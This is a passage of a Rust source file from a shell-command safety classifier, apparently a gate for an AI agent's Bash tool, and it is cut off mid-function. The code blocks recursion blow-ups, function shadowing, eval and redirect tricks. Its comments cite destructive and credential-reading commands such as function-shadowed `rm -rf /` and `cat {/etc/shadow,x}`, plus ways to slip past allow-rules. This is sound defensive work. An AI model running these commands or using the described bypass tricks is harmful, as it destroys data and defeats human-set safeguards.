Skip to main content

safe_chains/cst/
check.rs

1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4use crate::verdict::{SafetyLevel, Verdict};
5
6thread_local! {
7    /// Total (re-)classifications spent on one top-level `command_verdict`. Delegating handlers
8    /// (`fd -x`, `find -exec`, `xargs`, `sudo`) re-enter here on the wrapped command, and a command
9    /// that NESTS them — `fd a b -x fd c d -x …` — branches multiplicatively (one re-check per
10    /// pre-exec base × per nesting level), i.e. exponentially. This monotonic counter caps the total
11    /// so any such blow-up fails CLOSED (Denied) in bounded time instead of hanging the hook. A depth
12    /// cap alone can't help: 3^depth calls explode long before any depth limit bites.
13    static CLASSIFY_WORK: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
14    static CLASSIFY_DEPTH: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
15}
16
17/// Far above any real command's handful of delegations (a `&&` chain of 50 `fd -x`s spends ~100),
18/// far below the exponential explosion. Found by the parse fuzzer (`fd -x fd -x …`). Kept modest so
19/// the worst-case CUTOFF is also cheap in wall-clock terms — each unit is a full re-classification
20/// (parse + dispatch), so a high ceiling would let a crafted command burn hundreds of ms in the hook
21/// (and blow the debug-mode timing of `classifier_terminates_on_adversarial_input`).
22const MAX_CLASSIFY_WORK: u32 = 512;
23
24/// RAII budget guard for the classifier recursion. `enter` resets the budget at the OUTERMOST call
25/// and charges one unit per (re-)entry; `None` means the budget is spent and the caller must fail
26/// closed. Depth is bumped only on a successful enter, so it stays balanced with the `Drop`.
27struct ClassifyGuard;
28
29impl ClassifyGuard {
30    fn enter() -> Option<Self> {
31        if CLASSIFY_DEPTH.with(|d| d.get()) == 0 {
32            CLASSIFY_WORK.with(|w| w.set(0));
33        }
34        let spent = CLASSIFY_WORK.with(|w| {
35            let n = w.get().saturating_add(1);
36            w.set(n);
37            n
38        });
39        if spent > MAX_CLASSIFY_WORK {
40            return None;
41        }
42        CLASSIFY_DEPTH.with(|d| d.set(d.get() + 1));
43        Some(ClassifyGuard)
44    }
45}
46
47impl Drop for ClassifyGuard {
48    fn drop(&mut self) {
49        CLASSIFY_DEPTH.with(|d| d.set(d.get().saturating_sub(1)));
50    }
51}
52
53/// Charge `units` of extra work to the shared per-classification budget; `false` once it is spent
54/// and the caller must fail closed.
55///
56/// Brace expansion charges here so its fan-out draws from the SAME pool as delegation and function
57/// resolution. Otherwise the two caps MULTIPLY rather than add: a word may expand to
58/// `BRACE_EXPANSION_CAP` (256) alternatives and each delegated re-classification re-expands it, so
59/// 512 delegations × 256 words is ~131k word checks — seconds of wall clock from a ~200-byte input
60/// (found by the nightly fuzzer as a timeout). Neither cap is unreasonable alone; only their product
61/// is. Charging fan-out here makes the total additive and keeps the worst case bounded.
62pub(crate) fn charge_classify_work(units: u32) -> bool {
63    CLASSIFY_WORK.with(|w| {
64        let n = w.get().saturating_add(units);
65        w.set(n);
66        n <= MAX_CLASSIFY_WORK
67    })
68}
69
70pub fn command_verdict(input: &str) -> Verdict {
71    let Some(_guard) = ClassifyGuard::enter() else {
72        return Verdict::Denied; // classification budget spent — fail closed
73    };
74    let Some(script) = parse(input) else {
75        return Verdict::Denied;
76    };
77    script_verdict(&script)
78}
79
80pub fn is_safe_command(input: &str) -> bool {
81    command_verdict(input).is_allowed()
82}
83
84thread_local! {
85    /// Functions DEFINED so far in the current classification, so a later call resolves to its body
86    /// (and a definition SHADOWS a same-named built-in — `ls(){ rm -rf /; }; ls` runs rm). Owned
87    /// clones (small); a thread-local can't borrow the CST. Latest definition wins.
88    static FUNCTIONS: std::cell::RefCell<Vec<(String, Script)>> =
89        const { std::cell::RefCell::new(Vec::new()) };
90    /// Names currently being resolved — bounds recursion (direct AND mutual) and total call depth,
91    /// so `f(){ f; }` or a deep chain can't blow the stack; hitting the bound denies (fail-closed).
92    static RESOLVING: std::cell::RefCell<Vec<String>> = const { std::cell::RefCell::new(Vec::new()) };
93}
94
95const MAX_FUNC_DEPTH: usize = 32;
96
97/// The value a `$VAR`/`$1` binds to when the assigned/argument value is UNCERTAIN (a substitution,
98/// an unbound var, a reassignment to same). It looks like a path AND is unpinnable, so `$VAR/x`
99/// fail-closes in both gate layers rather than resolving to a stale or dropped value.
100const UNCERTAIN_VALUE: &str = "/__SAFE_CHAINS_CMDSUB__";
101
102struct FuncScope;
103impl Drop for FuncScope {
104    fn drop(&mut self) {
105        FUNCTIONS.with(|f| {
106            f.borrow_mut().pop();
107        });
108    }
109}
110
111fn define_function(name: String, body: Script) -> FuncScope {
112    FUNCTIONS.with(|f| f.borrow_mut().push((name, body)));
113    FuncScope
114}
115
116fn lookup_function(name: &str) -> Option<Script> {
117    FUNCTIONS.with(|f| f.borrow().iter().rev().find(|(n, _)| n == name).map(|(_, b)| b.clone()))
118}
119
120struct ResolveScope;
121impl Drop for ResolveScope {
122    fn drop(&mut self) {
123        RESOLVING.with(|r| {
124            r.borrow_mut().pop();
125        });
126    }
127}
128
129/// Begin resolving a call to `name`, unless it recurses, exceeds the depth cap, or exhausts the
130/// per-invocation classification budget — then return `None` and the caller treats it as an ordinary
131/// (unknown) command, which denies. The budget is what stops exponential FAN-OUT (`f(){ f2; f2; };
132/// f2(){ f3; f3; }; …`): the depth cap alone bounds a linear chain, but branching multiplies, so each
133/// resolution charges the shared `CLASSIFY_WORK` counter that also caps delegating-handler recursion.
134fn begin_resolving(name: &str) -> Option<ResolveScope> {
135    let over_budget = CLASSIFY_WORK.with(|w| {
136        let n = w.get().saturating_add(1);
137        w.set(n);
138        n > MAX_CLASSIFY_WORK
139    });
140    if over_budget {
141        return None;
142    }
143    RESOLVING.with(|r| {
144        let mut stack = r.borrow_mut();
145        if stack.len() >= MAX_FUNC_DEPTH || stack.iter().any(|n| n == name) {
146            None
147        } else {
148            stack.push(name.to_string());
149            Some(ResolveScope)
150        }
151    })
152}
153
154fn script_verdict(script: &Script) -> Verdict {
155    walk_with_scope(script, |stmt| pipeline_verdict(&stmt.pipeline))
156        .into_iter()
157        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
158}
159
160/// Walk `script`'s statements IN ORDER, running `per_stmt` on each with the accumulated scope
161/// installed, and return the per-statement results.
162///
163/// The scope is: the running `cwd` (HP-19 — a later relative path resolves against a prior `cd`),
164/// plus `VAR=value` bindings and function definitions from EARLIER statements (bash semantics;
165/// released when this returns). Fail-open on cwd: an unresolvable `cd` leaves it unchanged.
166///
167/// Shared by `script_verdict` AND the explainer so both see the SAME scope. This is load-bearing for
168/// security: a definition that shadows a builtin (`ls(){ rm -rf /; }; ls`) must deny in BOTH — if the
169/// per-segment explain classified the `ls` call without the definition in scope, the hook's coverage
170/// fallback (which uses the explainer) would re-allow the very thing the whole-command verdict denied.
171pub(crate) fn walk_with_scope<T>(script: &Script, mut per_stmt: impl FnMut(&Stmt) -> T) -> Vec<T> {
172    let mut running = crate::pathctx::cwd();
173    let mut _vars: Vec<crate::pathctx::VarGuard> = Vec::new();
174    let mut _funcs: Vec<FuncScope> = Vec::new();
175    let mut out = Vec::with_capacity(script.0.len());
176    for stmt in &script.0 {
177        out.push({
178            let _cwd = crate::pathctx::enter_cwd(running.clone());
179            per_stmt(stmt)
180        });
181        let next = cd_target(&stmt.pipeline).and_then(|t| crate::pathctx::join_cwd(running.as_deref(), &t));
182        if next.is_some() {
183            running = next;
184        }
185        for (name, value) in statement_assignments(&stmt.pipeline) {
186            _vars.push(crate::pathctx::enter_var(name, value));
187        }
188        if let [Cmd::FunctionDef { name, body }] = stmt.pipeline.commands.as_slice() {
189            _funcs.push(define_function(name.clone(), body.clone()));
190        }
191    }
192    out
193}
194
195/// The target of a statement-level `cd DIR` (a single simple command named `cd`), for cwd
196/// tracking. `None` for anything else, or `cd` with no plain positional (bare `cd`, `cd -`).
197fn cd_target(pipeline: &Pipeline) -> Option<String> {
198    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
199        return None;
200    };
201    if s.words.first()?.eval() != "cd" {
202        return None;
203    }
204    s.words.iter().skip(1).map(|w| w.eval()).find(|a| !a.starts_with('-'))
205}
206
207/// The variables a `while`/`until` condition of the form `read VAR…` (incl. `IFS= read -r VAR`) binds
208/// from stdin — its non-flag positionals — so the body's `$VAR` can be gated at the pipe's item locus.
209/// Empty for any other condition. (An exotic valued read flag's value may be over-included as a var
210/// name; harmless — it just binds a never-referenced name to the same workspace locus.)
211fn read_loop_vars(cond: &Script) -> Vec<String> {
212    let [stmt] = cond.0.as_slice() else {
213        return Vec::new();
214    };
215    let [Cmd::Simple(s)] = stmt.pipeline.commands.as_slice() else {
216        return Vec::new();
217    };
218    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
219    if words.first().map(String::as_str) != Some("read") {
220        return Vec::new();
221    }
222    words[1..].iter().filter(|w| !w.starts_with('-')).cloned().collect()
223}
224
225/// The persistent bindings a STATEMENT establishes: a pure assignment `VAR=value` (a simple command
226/// with env and NO words). A prefix `VAR=x cmd` is excluded — per bash it doesn't persist and
227/// doesn't even affect `$VAR` in `cmd`'s own args. Each value is resolved against the bindings so far
228/// (so `B=$A/x` chains); a CERTAIN literal binds verbatim, an uncertain one binds the sentinel.
229fn statement_assignments(pipeline: &Pipeline) -> Vec<(String, String)> {
230    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
231        return Vec::new();
232    };
233    if !s.words.is_empty() {
234        return Vec::new();
235    }
236    s.env.iter().map(|(name, value)| (name.clone(), certain_value(value))).collect()
237}
238
239/// A word's CERTAIN literal value for binding, or the unpinnable sentinel when uncertain. Resolves
240/// `$refs` against the current scope first, then requires no residual `$` and no substitution
241/// sentinel — a substitution (`$(…)`), an unbound var, or a reassignment-to-uncertain all fail here.
242fn certain_value(word: &Word) -> String {
243    let raw = crate::pathctx::expand_vars(&word.eval(), false).into_owned();
244    if raw.contains('$') || raw.contains("__SAFE_CHAINS_") {
245        UNCERTAIN_VALUE.to_string()
246    } else {
247        raw
248    }
249}
250
251#[cfg(test)]
252pub(crate) fn is_safe_script(script: &Script) -> bool {
253    script_verdict(script).is_allowed()
254}
255
256pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
257    let mut acc = Verdict::Allowed(SafetyLevel::Inert);
258    // The representative path-locus of the CURRENT stream (the previous stage's stdout), threaded so
259    // a line-preserving filter carries the producer's locus THROUGH it: in `find ./src | head | xargs
260    // cat`, `head`'s output items are still `find`'s worktree paths, so `xargs` gates them there
261    // instead of worst-casing. In `A | xargs CMD`, xargs injects A's items as CMD's operands (the
262    // same idea as `find -exec`'s `{}` binding, sourced from the pipe).
263    let mut stream: Option<String> = None;
264    for cmd in &pipeline.commands {
265        let _stdin = stream.clone().map(crate::pathctx::enter_stdin_repr);
266        acc = acc.combine(cmd_verdict(cmd));
267        stream = Some(stage_output_repr(cmd, stream.as_deref()));
268    }
269    acc
270}
271
272/// The sentinel operand fed to an injecting consumer when the source is unknown/unmodeled. The
273/// leading `/` makes it LOOK like a path (so `pathgate`-gated readers like `od` gate it) and the
274/// cmdsub marker makes it unpinnable (so engine-resolved readers like `cat` worst-case it) — it
275/// must deny in BOTH gate layers.
276const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
277
278/// A representative PATH for the items `cmd` emits on stdout given the stream repr it RECEIVED
279/// (`input`), used to gate an operand-injecting consumer downstream (`… | xargs cat`). A PRODUCER
280/// that provably emits workspace-bounded paths yields a worktree representative; a line-preserving
281/// FILTER carries `input` through unchanged; everything else worst-cases to `UNKNOWN_ITEM`.
282fn stage_output_repr(cmd: &Cmd, input: Option<&str>) -> String {
283    let Cmd::Simple(s) = cmd else {
284        return UNKNOWN_ITEM.to_string();
285    };
286    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
287    let Some(first) = words.first() else {
288        return UNKNOWN_ITEM.to_string();
289    };
290    let name = Token::from_raw(first.clone()).command_name().to_string();
291    let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
292    let through = || input.unwrap_or(UNKNOWN_ITEM).to_string();
293    match name.as_str() {
294        // find/fd emit paths UNDER their roots — the child of the worst root carries its locus.
295        "find" | "fd" | "fdfind" => {
296            let roots = find_roots(&args);
297            let base = roots.iter().find(|r| !source_ok(r)).copied().unwrap_or(".");
298            format!("{}/sc_item", base.trim_end_matches('/'))
299        }
300        // ls emits cwd-relative BASENAMES (worktree) unless `-d` echoes its (possibly absolute) args.
301        "ls" => {
302            if args.contains(&"-d") {
303                worst_arg_repr(&args)
304            } else {
305                "sc_item".to_string()
306            }
307        }
308        // echo/printf emit their args verbatim; the worst-locus arg is the representative.
309        "echo" | "printf" => worst_arg_repr(&args),
310        // git path-listers emit repo-relative paths (worktree, assuming the repo is the workspace).
311        "git" => match args.first() {
312            Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
313            _ => UNKNOWN_ITEM.to_string(),
314        },
315        // Line-preserving FILTERS: each output line is a WHOLE, unchanged input line, so the stream's
316        // item locus is unchanged — carry `input` through. Only when reading stdin (no file operand)
317        // and not byte-slicing (`head -c`, which can split a path); NOT `grep -o`/`sed`/`awk`/`cut`/`tr`
318        // (they can rewrite a line to ANY path — treating those as passthrough would be a bypass).
319        "sort" | "uniq" | "cat" | "tac" if !reads_a_file(&args) => through(),
320        "head" | "tail"
321            if !reads_a_file_after_count(&args)
322                && !args.iter().any(|a| *a == "-c" || a.starts_with("--bytes")) =>
323        {
324            through()
325        }
326        // tee always forwards stdin→stdout (its file args are extra WRITES, gated elsewhere).
327        "tee" => through(),
328        _ => UNKNOWN_ITEM.to_string(),
329    }
330}
331
332/// Whether a filter reads a FILE rather than stdin (so it is NOT a stdin passthrough): a
333/// positional operand, or `sort`'s `--files0-from=F` / `--files0-from F`, which redirects it to
334/// emit the CONTENTS of the files listed in `F` — arbitrary file-derived output, not the piped
335/// stream. A lone `-` (explicit stdin) doesn't count. The `=`-glued flag form is a single token
336/// starting with `-`, so it must be matched explicitly or it would masquerade as a passthrough.
337fn reads_a_file(args: &[&str]) -> bool {
338    args.iter().any(|a| {
339        (!a.starts_with('-') && *a != "-")
340            || *a == "--files0-from"
341            || a.starts_with("--files0-from=")
342    })
343}
344
345/// Like `reads_a_file`, but skips the VALUE of `head`/`tail`'s count flags (`-n N`, `-c N`) so
346/// `head -n 5` (stdin) isn't mistaken for reading a file named `5`.
347fn reads_a_file_after_count(args: &[&str]) -> bool {
348    let mut i = 0;
349    while i < args.len() {
350        let a = args[i];
351        if matches!(a, "-n" | "-c" | "--lines" | "--bytes") {
352            i += 2; // flag + its value
353            continue;
354        }
355        if a.starts_with('-') || a == "-" {
356            i += 1;
357            continue;
358        }
359        return true; // a bare positional → a file operand
360    }
361    false
362}
363
364/// Whether reading `path` is admitted — i.e. it is a workspace-bounded source (worktree, `/tmp`,
365/// a granted dir), so paths derived from it are safe operands.
366fn source_ok(path: &str) -> bool {
367    crate::engine::resolve::read_content_verdict(path).is_allowed()
368}
369
370/// The worst-locus non-flag arg (for `echo`/`printf`, which emit args verbatim): the first arg
371/// whose read is denied, else a worktree placeholder.
372fn worst_arg_repr(args: &[&str]) -> String {
373    args.iter()
374        .filter(|a| !a.starts_with('-'))
375        .find(|a| !source_ok(a))
376        .map_or_else(|| "sc_item".to_string(), |a| (*a).to_string())
377}
378
379/// `find`'s root operands: after any leading global options (`-H`/`-L`/`-P`, `-D`/`-O V`), the
380/// positional args up to the first predicate (`-name`, `(`, `!`, …). Defaults to `.` (cwd).
381fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
382    let mut i = 0;
383    while i < args.len() {
384        match args[i] {
385            "-H" | "-L" | "-P" => i += 1,
386            "-D" | "-O" => i += 2,
387            _ => break,
388        }
389    }
390    let mut roots = Vec::new();
391    while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
392        roots.push(args[i]);
393        i += 1;
394    }
395    if roots.is_empty() {
396        roots.push(".");
397    }
398    roots
399}
400
401pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
402    pipeline_verdict(pipeline).is_allowed()
403}
404
405pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
406    match cmd {
407        Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
408        _ => true,
409    }
410}
411
412fn has_any_substitution(cmd: &SimpleCmd) -> bool {
413    cmd.words.iter().any(has_substitution)
414        || cmd.env.iter().any(|(_, v)| has_substitution(v))
415}
416
417/// A command rendered for comparison against the user's own `Bash(...)` allow-rules.
418///
419/// Includes the LEADING ENV ASSIGNMENTS. Dropping them meant a rule written for one command
420/// silently covered a different one: `Bash(~/runner-scripts/x.sh:*)` matched
421/// `WRITE=1 ~/runner-scripts/x.sh`, so a rule intended for a dry run pre-approved the mutating run.
422/// The user had even written separate `Bash(WRITE=1 …)` entries — necessary at the harness's own
423/// matcher, and quietly redundant here.
424///
425/// The rule must describe the command as TYPED. That is not a judgement about which variable names
426/// are dangerous (nothing here knows `LD_PRELOAD` from `NODE_ENV`) — it is only the requirement that
427/// an allow-rule cover what it claims to. A command carrying an assignment therefore matches only a
428/// rule that carries it too, and otherwise falls through to the harness's normal approval flow.
429///
430/// This is the USER-ALLOWLIST path alone. safe-chains' own knowledge of a command is consulted
431/// first and short-circuits before reaching here, so `LD_PRELOAD=… ls` is unaffected — see
432/// `docs/design/env-prefix-classification.md` for that separate, unfixed hole.
433/// `None` when the command cannot be rendered UNAMBIGUOUSLY, which callers must treat as "matches
434/// nothing".
435///
436/// An env value containing whitespace has no unambiguous flat rendering: `WRITE='1 script.sh' rm
437/// -rf /` and `WRITE=1 script.sh rm -rf /` produce the same string, but the first runs `rm` and the
438/// second runs `script.sh`. Since assignments sit BEFORE the program name, a value that swallows
439/// the rest of a pattern lets a rule for one program match a different one —
440/// `Bash(WRITE=1 script.sh:*)` would match `WRITE='1 script.sh' rm -rf /`. Refusing to render is the
441/// only honest answer; the alternative is a rule that silently covers a program it never named.
442///
443/// Words with whitespace are NOT refused: `git commit -m 'a message'` is ordinary and a rule like
444/// `Bash(git commit -m:*)` should keep covering it. A quoted word can shift an argument boundary,
445/// which is a pre-existing looseness of this matcher, but it cannot change which program runs —
446/// the program is the first word either way.
447pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> Option<String> {
448    let mut parts = Vec::with_capacity(cmd.env.len() + cmd.words.len());
449    for (name, value) in &cmd.env {
450        let value = value.eval();
451        if value.chars().any(char::is_whitespace) {
452            return None;
453        }
454        parts.push(format!("{name}={value}"));
455    }
456    parts.extend(cmd.words.iter().map(|w| w.eval()));
457    Some(parts.join(" "))
458}
459
460pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
461    match cmd {
462        Cmd::Simple(s) => simple_verdict(s),
463        Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
464            let body_v = script_verdict(body);
465            if let Verdict::Denied = body_v {
466                return Verdict::Denied;
467            }
468            let redir_v = redirect_verdict(redirs);
469            if let Verdict::Denied = redir_v {
470                return Verdict::Denied;
471            }
472            body_v.combine(redir_v)
473        }
474        Cmd::For { var, items, body, redirs } => {
475            let redir_v = redirect_verdict(redirs);
476            if let Verdict::Denied = redir_v {
477                return Verdict::Denied;
478            }
479            // Bind `$var` in the body to the loop list's locus (the `find … {}`→path binding,
480            // one layer up), so `for f in *.txt; do cat $f` reads the worktree instead of
481            // fail-closing on the bare `$f`.
482            let item_strs: Vec<String> = items.iter().map(Word::eval).collect();
483            let body_v = match crate::engine::resolve::loop_reprs(&item_strs) {
484                Some((read_repr, write_repr)) => {
485                    let _g = crate::pathctx::enter_loop_var(var.clone(), read_repr, write_repr);
486                    script_verdict(body)
487                }
488                None => script_verdict(body),
489            };
490            words_sub_verdict(items).combine(body_v).combine(redir_v)
491        }
492        Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => {
493            let redir_v = redirect_verdict(redirs);
494            if let Verdict::Denied = redir_v {
495                return Verdict::Denied;
496            }
497            let cond_v = script_verdict(cond);
498            // `while read VAR; do … "$VAR" …` — bind each read var to the piped stdin's item locus,
499            // exactly as the `for`-loop binds its list var, so `find ./src | while read f; do cat "$f"`
500            // reads the worktree instead of fail-closing on the bare `$f`. Only when a modeled source
501            // set the stdin repr; otherwise the vars stay unbound (fail-closed).
502            let _binds: Vec<crate::pathctx::LoopGuard> = match crate::pathctx::stdin_item_repr() {
503                Some(repr) => read_loop_vars(cond)
504                    .into_iter()
505                    .map(|v| crate::pathctx::enter_loop_var(v, repr.clone(), repr.clone()))
506                    .collect(),
507                None => Vec::new(),
508            };
509            cond_v.combine(script_verdict(body)).combine(redir_v)
510        }
511        Cmd::If {
512            branches,
513            else_body,
514            redirs,
515        } => {
516            let redir_v = redirect_verdict(redirs);
517            if let Verdict::Denied = redir_v {
518                return Verdict::Denied;
519            }
520            let mut v = redir_v;
521            for b in branches {
522                v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
523            }
524            if let Some(eb) = else_body {
525                v = v.combine(script_verdict(eb));
526            }
527            v
528        }
529        Cmd::DoubleBracket { words, redirs } => {
530            words_sub_verdict(words).combine(redirect_verdict(redirs))
531        }
532        // Defining a function has NO effect — Inert regardless of the body. The body's safety is
533        // evaluated only when the function is CALLED (resolved in `simple_verdict`), so an UNCALLED
534        // definition never denies on its body.
535        Cmd::FunctionDef { .. } => Verdict::Allowed(SafetyLevel::Inert),
536    }
537}
538
539pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
540    cmd_verdict(cmd).is_allowed()
541}
542
543fn part_sub_verdict(part: &WordPart) -> Verdict {
544    match part {
545        WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
546        WordPart::Backtick(raw) => command_verdict(raw),
547        WordPart::DQuote(inner) => word_sub_verdict(inner),
548        _ => Verdict::Allowed(SafetyLevel::Inert),
549    }
550}
551
552fn word_sub_verdict(word: &Word) -> Verdict {
553    word.0.iter()
554        .map(part_sub_verdict)
555        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
556}
557
558fn words_sub_verdict(words: &[Word]) -> Verdict {
559    words.iter()
560        .map(word_sub_verdict)
561        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
562}
563
564#[cfg(test)]
565pub(crate) fn word_subs_safe(word: &Word) -> bool {
566    word_sub_verdict(word).is_allowed()
567}
568
569fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
570    let redir_v = redirect_verdict(&cmd.redirs);
571    if let Verdict::Denied = redir_v {
572        return Verdict::Denied;
573    }
574
575    let env_sub_v = cmd.env.iter()
576        .map(|(_, v)| word_sub_verdict(v))
577        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
578    let word_sub_v = words_sub_verdict(&cmd.words);
579
580    // A LISTED assignment is classified by its value (`envvars.toml`): `GIT_SSH_COMMAND` carries a
581    // command, `LD_PRELOAD` a path supplying code. An unlisted name is Inert, so this changes
582    // nothing for ordinary invocations — `FOO=bar ls` classifies exactly as `ls` does.
583    //
584    // COMBINED, not merely checked for denial. An assignment that resolves to a LEVEL carries that
585    // level into the command: `RUSTFLAGS='-Cincremental=./x'` authorises a worktree write, so the
586    // invocation is a write even when the command word is inert. Propagating only `Denied` here
587    // meant `RUSTFLAGS='-Cincremental=./x' echo hi` passed at `paranoid`, while the same write
588    // spelled `touch ./x` did not.
589    let env_name_v = cmd
590        .env
591        .iter()
592        .map(|(name, value)| crate::envvars::assignment_verdict(name, &value.eval()))
593        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
594    let sub_v = env_sub_v.combine(word_sub_v).combine(env_name_v);
595
596    if let Verdict::Denied = sub_v {
597        return Verdict::Denied;
598    }
599
600    if cmd.words.is_empty() {
601        if cmd.env.is_empty() {
602            return Verdict::Allowed(SafetyLevel::Inert);
603        }
604        return sub_v.combine(redir_v);
605    }
606
607    let name = cmd.words[0].eval();
608
609    // Function CALL: a user function SHADOWS everything it names, INCLUDING builtins like `eval`
610    // (`eval(){ rm -rf /; }; eval "echo hi"` runs the function, not eval) — so resolve a defined name
611    // FIRST, before the eval special-case and the leaf dispatch. Classify its BODY with $1..$N bound
612    // to the call's args (certain literals; uncertain → unpinnable). The shadow is UNCONDITIONAL: if
613    // resolution is blocked (recursion / depth / budget) we FAIL CLOSED, never fall through to the
614    // real command — otherwise `…512 calls…; ls(){ rm -rf /; }; ls` would exhaust the budget and then
615    // run the real `ls` for the rebound name, a bypass.
616    if let Some(body) = lookup_function(&name) {
617        let Some(_resolving) = begin_resolving(&name) else {
618            return Verdict::Denied;
619        };
620        let _args: Vec<crate::pathctx::VarGuard> = cmd.words[1..]
621            .iter()
622            .enumerate()
623            .map(|(i, w)| crate::pathctx::enter_var((i + 1).to_string(), certain_value(w)))
624            .collect();
625        return sub_v.combine(script_verdict(&body)).combine(redir_v);
626    }
627
628    if name == "eval" {
629        return eval_verdict(cmd).combine(sub_v).combine(redir_v);
630    }
631
632    // Brace-expand each word (`cat {/etc/shadow,x}` → two operands) so every alternative bash
633    // would run is classified — a braced word must not hide a system path from the gate.
634    let tokens: Vec<Token> =
635        cmd.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
636    if tokens.is_empty() {
637        return Verdict::Allowed(SafetyLevel::Inert);
638    }
639
640    let cmd_v = leaf_verdict(&tokens);
641    sub_v.combine(cmd_v).combine(redir_v)
642}
643
644/// The command leaf's verdict. The behavioral-capability engine is authoritative for every
645/// command it can resolve; the legacy classifier handles the rest (`…-engine` §4). There is
646/// no opt-out — the engine is the default and only path.
647fn leaf_verdict(tokens: &[Token]) -> Verdict {
648    let legacy = handlers::dispatch(tokens);
649    crate::engine::bridge::engine_verdict(tokens).unwrap_or(legacy)
650}
651
652fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
653    if cmd.words.len() < 2 {
654        return Verdict::Denied;
655    }
656    for arg in &cmd.words[1..] {
657        if !arg_is_eval_safe(arg) {
658            return Verdict::Denied;
659        }
660    }
661    Verdict::Allowed(SafetyLevel::Inert)
662}
663
664fn arg_is_eval_safe(word: &Word) -> bool {
665    let mut found_safe = false;
666    for part in &word.0 {
667        match part {
668            WordPart::Lit(s) | WordPart::SQuote(s) => {
669                if !s.chars().all(char::is_whitespace) {
670                    return false;
671                }
672            }
673            WordPart::Escape(c) => {
674                if !c.is_whitespace() {
675                    return false;
676                }
677            }
678            WordPart::CmdSub(script) => {
679                if !script_yields_eval_safe(script) {
680                    return false;
681                }
682                found_safe = true;
683            }
684            WordPart::Backtick(raw) => {
685                let Some(script) = parse(raw) else {
686                    return false;
687                };
688                if !script_yields_eval_safe(&script) {
689                    return false;
690                }
691                found_safe = true;
692            }
693            WordPart::DQuote(inner) => {
694                if !arg_is_eval_safe(inner) {
695                    return false;
696                }
697                if has_substitution(inner) {
698                    found_safe = true;
699                }
700            }
701            WordPart::ProcSub(_) | WordPart::Arith(_) => return false,
702        }
703    }
704    found_safe
705}
706
707fn script_yields_eval_safe(script: &Script) -> bool {
708    if script.0.len() != 1 {
709        return false;
710    }
711    let stmt = &script.0[0];
712    if !matches!(stmt.op, None | Some(ListOp::Semi)) {
713        return false;
714    }
715    let pipeline = &stmt.pipeline;
716    if pipeline.bang || pipeline.commands.len() != 1 {
717        return false;
718    }
719    let Cmd::Simple(s) = &pipeline.commands[0] else {
720        return false;
721    };
722    if !s.env.is_empty() {
723        return false;
724    }
725    // A redirect inside the substitution is allowed only if it's inert:
726    // stderr suppression (`2>/dev/null`), an fd dup (`2>&1`), or `/dev/null`.
727    // A redirect that writes a real file is SafeWrite, not inert, so
728    // `mise activate bash > evil` is rejected — eval-safe must not gain a
729    // file-write side effect, and diverting stdout to a file is pointless here.
730    if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
731        return false;
732    }
733    for w in &s.words {
734        if !word_is_plain_literal(w) {
735            return false;
736        }
737    }
738    let tokens: Vec<Token> =
739        s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
740    if tokens.is_empty() {
741        return false;
742    }
743    crate::registry::is_eval_safe_invocation(&tokens)
744}
745
746/// True iff every character of `word` is drawn from the bare-literal
747/// alphabet: ASCII alphanumerics plus `_`, `-`, `.`, `/`, `=`. Words
748/// matching this shape consist entirely of identifier-style or
749/// path-style tokens that the shell will pass through to the
750/// substituted command unchanged at runtime.
751///
752/// Required for words inside eval-safe substitutions because the
753/// "stdout is shell-init code" trust depends on the contributor having
754/// vetted what gets passed to the tool. Restricting the alphabet to
755/// chars with no shell-expansion semantics keeps the substituted
756/// invocation static across parse-time and runtime — what you see in
757/// the source is what the tool receives.
758fn word_is_plain_literal(word: &Word) -> bool {
759    word.0.iter().all(part_is_plain_literal)
760}
761
762fn part_is_plain_literal(part: &WordPart) -> bool {
763    match part {
764        WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
765        WordPart::Escape(c) => is_bare_literal_char(*c),
766        WordPart::DQuote(inner) => word_is_plain_literal(inner),
767        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => false,
768    }
769}
770
771/// Bare-literal alphabet: ASCII alphanumerics plus a tight punctuation
772/// set covering identifiers (`_`, `-`), versions / paths (`.`, `/`),
773/// and the long-flag value form (`=`). New chars require an explicit
774/// eval-safe use case — add by extending this match, never by
775/// excluding individual hostile chars.
776fn is_bare_literal_char(c: char) -> bool {
777    c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
778}
779
780pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
781    redirs.iter().all(|r| match r {
782        Redir::Write { target, .. } => target.eval() == "/dev/null",
783        Redir::Read { .. }
